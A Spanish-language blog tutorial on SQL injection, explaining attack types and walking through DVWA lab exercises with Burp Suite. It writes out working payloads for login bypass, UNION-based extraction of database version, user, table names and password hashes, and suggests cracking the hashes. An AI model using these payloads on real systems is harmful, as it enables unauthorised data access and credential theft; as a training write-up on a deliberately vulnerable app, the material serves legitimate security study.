SQLi es una vulnerabilidad web que ataca la base de datos (BBDD) de la aplicación web (wapp), el ataque se aprovecha de una validación incorrecta de los campos de entrada de datos de la aplicación, enviando inyecciones de código SQL a través de la misma para su ejecución, por lo tanto la vulnerabilidad se encuentra en la aplicación no en la BBDD
¿Que podemos conseguir?
- Acceso a la BBDD (bypass de autenticación)
- Obtención de información de la BBDD
- Comprometer la integridad de los datos (modificación, borrado, etc.)
- Alterar la disponibilidad de los datos
- Ejecución de código remoto
- Divulgación de información
¿Como funciona normalmente una aplicación web?
- Se realiza una petición a la wapp
- La wapp recibe una petición y la consulta a la BBDD (consulta SQL)
- La BBDD ejecuta la consulta y devuelve el resultado
- El usuario recibe el resultado de la petición
¿Como funciona el ataque?
- Un usuario malicioso modifica la petición e inyecta código SQL
- La wapp recibe la petición y consulta a la BBDD con el código inyectado
- La BBDD recibe el código no validado y devuelve los datos
- El usuario recibe la petición con unos datos que no debería recibir
El ejemplo básico seria el típico login de entrada con un usuario y contraseña en el cual realizaríamos la inyección introduciendo una sentencia 'OR '1'='1' en el campo password (en el usuario podemos poner lo que sea)
En el formulario de login cuando se envía la petición se estaría enviando la siguiente sentencia SQL:
string query = "SELECT * FROM users WHERE user = "'" + username + "' AND password = '" + password + “’”;
Si ponemos en el formulario los siguientes datos:
- User: admin
- Password: 12345' OR '1'='1'
SELECT * FROM users WHERE user = ‘admin’ AND password = ’12345' OR ‘1’=‘1’;
Como la expresión 'OR '1'='1' siempre es verdadera, según como esté configurada la BBDD la autenticación será bypassed
Ejemplos de inyecciones SQL
Tipos de ataques SQL injection
- SQLi basado en errores
- Blind SQL (inyección ciega)
- Arithmetic Blind SQL
SQLi basado en errores
Al realizar la inyección la BBDD muestra algún error que indica que existe la vulnerabilidad aunque es posible que varíe de un tipo de BBDD a otro.
Podemos obtener información de la BBDD de las siguientes formas:
- Comentario al final de la linea: se basa en anular el código "legitimo" tras la inyección, ignorando así el resto de la consulta a la BBDD ejecutando solamente lo que nosotros queramos
- Consultas no esperadas, ilegales o ilógicas: al realizar este tipo de consultas vemos como reacciona la BBDD y si nos muestra información de los datos que contiene
- Tautología: se utilizan una serie de declaraciones que son siempre verdaderas por lo que se supone que siempre se va a ejecutar la consulta
- Cadenas SQL: se utilizan los operadores SQL (select, insert,, update, delete, union) que se explican a continuación
SELECT * FROM users WHERE name = 'admin' or '1'='1'
INSERT: añade nuevos datos a las tablas de la BBDD por lo que permite crear un nuevo perfil o insertar una orden, etc.
INSERT INTO usuarios (username, pwd, ID) VALUES ('admin', '12345', 1)
Hay que tener en cuenta que el número de valores introducido debe coincidir con el número de columnas de la tabla y que el tipo de datos también debe corresponder. Como probablemente no conocemos el número de entradas de la tabla iremos añadiendo valores hasta encontrar el error.
UPDATE: se usa en peticiones en las que se requieren cambios en la información que almacena la BBDD
UPDATE users SET pwd='admin123' WHERE username='admin' and pwd='12345'
DELETE: sirve para borrar información por lo tanto se deberá utilizar con precaución en el caso de estar realizando una auditoria
DELETE * FROM users WHERE name = 'admin' or '1'='1
UNION: se utiliza para añadir una nueva consulta a la consulta original por lo que mostrará datos de otros campos o tablas
SELECT username FROM users WHERE id=1 UNION ALL SELECT pwd FROM users
Realizamos la prueba de concepto con DVWA, elegimos SQL Injection y nivel low:
1. En el formulario User ID ponemos comilla simple
2. Vemos que da un error, esto nos puede indicar que es vulnerable
3. Es el momento de ir probando el OR 1=1, en este caso el resultado nos lo muestra con 'or '1=1 mostrando la tabla de usuarios, pero podemos ir haciendo comprobaciones añadiendo comillas hasta que nos muestre algún resultado
4. Ahora buscaremos la versión de la BBDD, ponemos ' or '0'=0 union select null, version() # y en la última fila nos muestra la versión de la base de datos '10.1.34-MariaDB'
5. Lo mismo que hemos realizado para ver la versión lo hacemos para ver el usuario administrador de la BBDD ' or '0'=0 union select null, user() # en este caso root
6. Ahora intentamos sacar el nombre de la BBDD. ' or '0'=0 union select null, database() # mostrandonos dvwa
7. Vemos que nos devuelve información así que vamos a sacar el nombre de las tablas introducimos ' or '0'='0' union select null, table_name from information_schema.tables # nos mostrará todas las tablas de la BBDD
Pruebas de concepto
Realizamos la prueba de concepto con DVWA, elegimos SQL Injection y nivel low:
1. En el formulario User ID ponemos comilla simple
2. Vemos que da un error, esto nos puede indicar que es vulnerable
3. Es el momento de ir probando el OR 1=1, en este caso el resultado nos lo muestra con 'or '1=1 mostrando la tabla de usuarios, pero podemos ir haciendo comprobaciones añadiendo comillas hasta que nos muestre algún resultado
4. Ahora buscaremos la versión de la BBDD, ponemos ' or '0'=0 union select null, version() # y en la última fila nos muestra la versión de la base de datos '10.1.34-MariaDB'
5. Lo mismo que hemos realizado para ver la versión lo hacemos para ver el usuario administrador de la BBDD ' or '0'=0 union select null, user() # en este caso root
6. Ahora intentamos sacar el nombre de la BBDD. ' or '0'=0 union select null, database() # mostrandonos dvwa
7. Vemos que nos devuelve información así que vamos a sacar el nombre de las tablas introducimos ' or '0'='0' union select null, table_name from information_schema.tables # nos mostrará todas las tablas de la BBDD
8. Existe la tabla users por lo que vamos a intentar sacar el password de los usuarios de la tabla, introducimos ' or '0'='0' union select user, password from users # # .
Nos está mostrando los hashes de las contraseñas por lo que podriamos utilizar John the Ripper para que nos muestre las contraseñas en claro
Siguiente nivel medium
En el nivel medio ya no tenemos un campo de entrada si no un desplegable donde seleccionar el ID. Si hacemos la prueba vemos que no nos muestra en la URL la ID elegida
Utilizaremos Burp Suite en su versión Community disponible en Kali Linux.
1. Activamos el proxy en el navegador, en mi caso utilizo FoxyProxy el cual ya tengo configurada la dirección localhost y el puerto 8080
2. En Burp activo la opción Intercept is on . En DVWA elijo un ID de usuario y realizo el Submit . Burp ya ha capturado algo
3. En la última linea de Burp podemos modificar y enviar nuestras inyecciones probamos con el típico OR 1=1, id=1 or 1=1&Submit=Submit y click sobre Forward.
Si volvemos al navegador tenemos los usuarios de la BBDD
Si volvemos al navegador tenemos los usuarios de la BBDD
Enviamos la petición al Repeater
5. En el Repeater podemos definir la inyección que vamos a realizar y ver su respuesta. Copiamos la petición y la pegamos en el proxy de Burp. Hacemos click en Forward
6. Si ahora vamos al navegador ya tenemos el resultado. Todos los hashes de los passwords
Siguiente nivel high
Subimos un nivel mas y vamos a probar si somos capaces de vulnerar la aplicación.
2. Si pulsamos sobre el enlace nos aparece otra pantalla donde por ejemplo ponemos el usuario 2. Pulsamos en Submit y se muestra información del usuario
3. Probamos varias combinaciones de OR 1=1 sin resultado, hasta dar con la que nos muestra los cinco usuarios
![]() |
| prueba 1º |
![]() |
| prueba 2º |




























No hay comentarios:
Publicar un comentario